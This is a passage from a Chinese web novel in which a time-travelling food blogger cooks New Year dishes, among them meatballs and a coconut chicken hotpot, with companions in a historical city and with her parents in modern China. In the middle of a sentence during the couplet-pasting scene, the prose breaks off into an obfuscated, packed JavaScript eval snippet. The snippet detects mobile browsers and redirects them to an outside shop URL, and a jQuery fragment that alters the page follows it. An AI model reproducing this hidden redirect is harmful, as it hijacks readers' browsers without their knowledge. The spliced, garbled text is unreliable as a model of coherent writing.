“可难开了！”周瑶理乍舌，“但是里头的汁水特别好喝、淡淡的清香味。” 说得她都想去趟海南。 文竹跟在后头竖耳旁听，心想周姑娘又开始聊些什么好吃的。越听越不对劲，周瑶理说的椰青他好像在哪儿见过。 “是不是还有层白色的果肉，脆脆的但没有味道。”好奇学生文竹发问。 周瑶理拍手转头，“对咯！”转念一想，“诶你吃过？” “我想姑娘指的应该是胥邪。”他肯定吃过，他家郎君也吃过。 文竹怕她不信，还说之前送她去饭馆的时候还瞧见有人卖这个呢。正好今天有空，他带着三人往那家摊子去。 真的是椰子。 周瑶理揽住身边人的肩膀兴奋得摇头晃脑，“年夜饭吃椰子鸡火锅。” 林嘉行靠近她的那只手还提着板猪肉，又怕弄脏她的衣服，无奈只好压下腰把手中的东西挪远些。 银春和文竹把东西都安排好，周瑶理则钻进厨房准备做肉丸子。 林嘉行跟着进去帮忙。 切肉的活交给他，周瑶理准备做蒜油酥。 蒜油酥简单做，蒜片丢进油锅中小火慢炸，直至金黄酥脆即可。 但期间不能离开灶台边，不然一不注意就炸糊了。 “需要剁碎吗？”林嘉行举着刀问。 “不用。”周瑶理直接让他把肉放盖帘上拿出去冻着。 好在现在是冬季，没有冰箱也不碍事。 外头冷，不一会儿功夫肉片冻得梆硬。 这时便可以开始着手准备。 “用点劲儿，剁细一点。”周瑶理搬来凳子坐在门口监工，看厨房俩人埋头剁馅。 厨子也被她薅来了。 期间往肉馅里加入蒜油酥、盐、淀粉和自己磨的胡椒粉，再转到石臼用捶打的方式，方便肉沫出胶起筋。 银春按照她的吩咐取来冰块，隔一会儿就往俩人的石臼里投冰。 煮丸子的水温度不能太高，周瑶理干脆搬出单独的小炉子。取走一部分打好的肉泥，一切就绪只等水温升高。 用虎口挤出一个个圆润丸子，将其刮下投入水中。能在水面上漂浮起来，证明肉泥打得刚好。 锅中飘起的丸子越来越多，打肉泥的人也结束自己的任务过来围观。 “好了好了，新鲜出炉的丸子！”周瑶理分走一些给大伙尝鲜，其余的让厨子都装起来放外面架子冻着。 天然冰箱不用白不用。 文竹伸向肉丸的手被她一把拍开，还被她打发去拿灶台上剩下的蒜油酥。 另起锅新的水，滚开后倒入新鲜猪肉丸子，再加上点蒜油酥和酱油。 起锅后再放点薄荷，一碗鲜甜的肉丸汤完成。 文竹着急忙慌咬一口，随后被烫得说不出话。 周姑娘没告诉他丸子还会爆汁儿。 银春见了偷笑，结果下一秒自己也被烫到了。 周瑶理舀起一颗轻吹，再塞入口中。 不愧是自己做的丸子，就是弹牙！ 即使没有小苏打，用冻得到位的肉片加上冰块一同捶打出来的肉丸也很嫩弹。 “我当厨子这么久以来，还是初回吃到这些新奇玩意儿。”厨子嘴里还吐着热气，不住点头赞叹。 周姑娘还真是个奇才。 38. 年味至 过年前一天，俩人给家里其他人全都发了红封并放假三天，只留下银春。 周瑶理本想让她回家过年去，奈何小姑娘愣是不走，说啥都要留在这同她一起。 “不回家也不碍事的，就让我留下来吧。”银春死死捏紧她的衣袖。 反正她回到家也是不招待见，倒不如留在这陪周姑娘要好些。更何况这个月的月钱已经交给阿爹，银春回不回去对方根本不在意。 即使她不说清楚周瑶理也猜到她的话外意，便也不再一味催她回家。 今日也是外边摊贩最后一日摆摊，明早可就没像今日这么热闹了。 只有等到大年夜游灯会的时候才陆陆续续有人出摊，毕竟一年就那么几天会解除宵禁。 周瑶理让文竹去那家卖椰青的阿婶那提几个回来，留着明晚年夜饭用。 “记得千万别让她帮忙开！”这么冷的天，不敲开的话放一晚上应该不会坏。 晚上睡觉前，周瑶理叮嘱银春明早千万别又站在门口守着她起床，怪不好意思的。 “这在我家那边叫年假，不上工的。” 现代。 在江郡忙忙碌碌一天回到现代的周瑶理，难得起个大早没赖床。 因为一大早就被周莲莉拖起来大扫除。 周瑶理庆幸自己是美食博主，特地赶在春运前坐飞机回家。 也庆幸她父母平日睡得早，晚上到十点多钟二老就开始打哈欠，更别提会半夜来找她吃宵夜。 压根儿不存在的事。 她回家这么多天，父母完全没发现自家女儿的房间里，晚上刚过十二点就空无一人。 只是每天早上周瑶理都被被她妈破门而入，强行拉她起床搞卫生。好在周莲莉每次进门的时间点，她已经从雍都回来。 前几年的年夜饭大多是父母在准备，今年周瑶理也加入行列之中。 上次陈绣做的煮千丝让她念念不忘，第二天早上就找陈大厨要了配方。 今年年夜饭她打算大展身手！好歹也是实打实做了大半年的厨子。 下午一家子全挤在厨房内各干各的。周瑶理的鸡汤已经炖上了，让出厨房的位置。 周莲莉夫妻俩因为谁先用锅的问题，都已经快打上辩论了。周瑶理默默退出，抱着绞肉机逃离战场。 除了煮千丝外她还准备了另一道菜，四喜丸子。 周瑶理将丸子的肉馅都弄好走回厨房，里面俩人早已恢复和乐融融的相处模式，见状她赶紧占据另一个空闲的炉灶。 起锅烧油，等锅边开始冒小泡转为小火，将四个肉丸慢慢放入锅中。全程只用小火慢炸，待肉丸定型再翻面。 期间焦香味溢满整个厨房，周莲莉夫妻俩站在她两侧围观。 “不得了哦，成大厨了。”周爸爸调侃。 没想到他闺女这一年的美食博主真不是白当的，瞧这手法。 那叫一个专业！ 丸子变得金黄酥脆，周瑶理赶紧捞出。 换砂锅中留下一点热油即可，倒入蒜片葱丝洋葱碎煸炒出味，再加入预调好的酱料和少许清水。 适量糖盐增味，白胡椒增香。 水开捞出小料后再放入炸好的丸子，小火慢炖20分钟即可。 等待的同时，周瑶理取走鸡汤开始着手准备煮干丝。 学着陈绣同样将剩余的鸡汤分成三碗提前尝鲜。 碗鸡汤下肚，忙活一上午的三人瞬间满血复活。周瑶理炖鸡汤时还加入几片当归，味道更醇厚些。 “咱们现在就把汤喝了，晚饭怎么办？”周莲莉喝完才反应过来，年夜饭还没开始呢。 周瑶理哼哼两声，“主角在后头。” 说罢砧板往桌面一放，豆干往上一摆，手持刀将其碎成穿针细丝。 周莲莉看得眼睛都直了，没想到她独自在外打拼一年，成长这么多。 鸡汤内剩下的鸡肉她也没浪费，捞出来撕成鸡丝淋上调料。 又一道菜新鲜出炉，凉拌鸡丝。 与此同时锅上炖着的四喜丸子也好了，正透过孔不住往外冒香气。 出锅摆盘上桌，正式开启年夜饭。 饭前吉利话少不了。 “新的一年，希望我们一家人都顺顺利利！” “特别是我们的小周同学，”周莲莉举起杯子和周瑶理碰杯，“独自在外生活辛苦了。” “谢谢妈妈！”说完另一边的周爸爸疯狂朝她使眼色，周瑶理连忙补上一句，“也谢谢老爸！” 周家过年活动少，年夜饭后除了在家恢复亲朋好友的贺年短信，就是守在电视前看春晚。 一家子甚至等不到跨年倒计时就开始犯困，十一点多时周莲莉实在忍不住，早早回房睡觉。 末了不忘掏出红包递给她，“别熬夜知道吧。” 周瑶理点头，她想熬都没有机会。 十一点半，老周夫妻俩睡得正香，周瑶理同样回了房。 刚关上门手机弹出语音通话，林嘉行打来的。 “新年快乐！” “新年快乐。” 电话接通，俩人齐声。 正巧外面响起烟花声，周瑶理拉开窗帘就能看见一束束烟花在空中炸开。 她问林嘉行看不看烟花，很漂亮哦。 “可以吗？”林嘉行回答。 这有什么不可以的，周瑶理对着空中拍了几段视频发过去。 过一会儿安静许久的声音响起。 林嘉行说谢谢，真的很漂亮。 春节后几天就要开学了，他今年就没打算回国。 指针打向十二点五十八分，周瑶理喊了声林嘉行。 “等会儿见。” 他愣住神，下意思看了眼时间，随后反应过来。 周瑶理还在絮絮叨叨，“记得给我包个大红包。” 电话挂断，正好十二点整。 雍都。 周瑶理醒来夺门而出，银春果然听话地没守在门外。 回房换上衣服就着冷水洗漱完再重新打开门，绕过梅花屏瞧见林嘉行此时也刚好出门。 俩人都穿了新做的衣裳，红红火火的。 正聊天呢，银春从前院赶来。 她还以为出啥事了，结果小姑娘止不住道歉自己起晚了。 周瑶理无奈在她脑袋上轻拍，“昨天不是说放年假吗，不用跟我道歉。” 厨子已经回家过年了，几人将就白粥配小菜把早饭解决掉，随后开始准备过年装饰。 周瑶理她们出门贴春联时，隔壁院子的人家已经在外面贴好一会儿了。 那户人家的夫郎贴得不好，不是向左歪就是向右歪，气得那娘子都想上去踹他两脚。 周瑶理赶紧上前劝架，说是新年头一天可不能生气。 俩家人互相道喜，周瑶理才转身回去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17031129|192238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看林嘉行贴自家春联。 “歪了歪了。”她皱眉。 林嘉行朝左偏。 “太靠左了。” 他往右挪。 周瑶理生气，果然贴春联就没有不吵架的。 隔壁娘子回去的脚步一顿，笑着打趣她怎么自个儿倒生起气来了。 好在虽吵吵闹闹，但也把联子贴妥当了。 二人叉腰欣赏好一会儿，周瑶理咂舌。 还是得听她的，再往右一点才行。 林嘉行立马推她进屋，“窗花还没剪，别耽误了。” 再纠结下去，一早上时间都要浪费在门口。 银春是个剪窗花的好手，不管是梅花桃花还是牡丹缠枝，一把剪刀就能搞定。 周瑶理问她会剪鱼吗？兔子呢？或者鸡鸭鹅之类的。 “会倒是会。”银春犹豫。 鱼她能理解，老人家常说年年有鱼。 但是鸡鸭鹅属实出乎意料，但周瑶理有自己的想法。 银春剪了一桌子兽禽，边上还有几个周瑶理剪的正方形。 文竹凑近瞧了，忍不住和林嘉行嘲笑她，“周姑娘怎么只剪了个方方正正的纸框。” 周瑶理不服，抽走林嘉行藏在身后的红纸，“你家郎君还剪三角形呢！” 林嘉行没想到战火会引到自己身上，横着脖子狡辩，“三角形具有稳定性。” 最终俩人被剥夺剪窗花的权利，老老实实坐在边上看其余俩人挥舞剪刀。 贴窗花、挂桃符，祈福辟邪迎新春。 白天胡闹一通，下午正式准备属于他们在江郡的第一次年夜饭。 因着过年少摊贩，周瑶理前几天买年货时只好抓了两只活鸡回来养着。 不成想每天闻鸡鸣声起床，现下反而不忍心杀。只好让文竹提到隔壁人家，劳烦人家的厨子帮忙现杀。 隔壁家厨子厚道，还帮忙将整鸡剔骨分块。周瑶理拿到手时只需片成肉片就行，省了不少是时间。 除去肉片、肉丸和瓜蔬配菜外，周瑶理还做了小酥肉和南乳排骨当小食。 上回做的炸排骨她自己都馋得不行，过年打算再做一次。 所有食材准备得差不多，文竹取来暖锅。 将椰子水全部倒入暖锅中，再取些椰肉铺底，银春端来焯过水的鸡骨架一并加入。 周瑶理和林嘉行则在厨房准备炸排骨。 南乳排骨最重要的调料便是名字里的南乳，用腐乳做的都不是那个味儿。 排骨用红腐乳和其他调料一直腌制充分，下油锅前用面粉裹住。 中火将其炸透后往火灶添入大块柴火，把熟透的排骨复炸至金黄焦脆。 肉香味从厨房飘出，把剩下两人都勾来。这还没上桌呢，四人躲在厨房偷偷啃起排骨。 还好周瑶理仅存的理智将剩下的部分都收起来，严令禁止偷吃。 天色渐暗，内院开始被月光笼罩。 暖锅内的椰香飘出，把餐厅整个包围住。 “话不多说，开盖！”就着湿布，周瑶理拎走盖子。 屋子里的椰子香味瞬间更加浓郁。 四人举杯，“新春嘉平！” 文竹抿一口杯中的热饮，舒服叹气，“周姑娘煮的牛乳茶好好喝！” 周瑶理闻言也猛灌一口，吃火锅就得配奶茶！ “年夜饭都不许拘着哈，放开了吃！”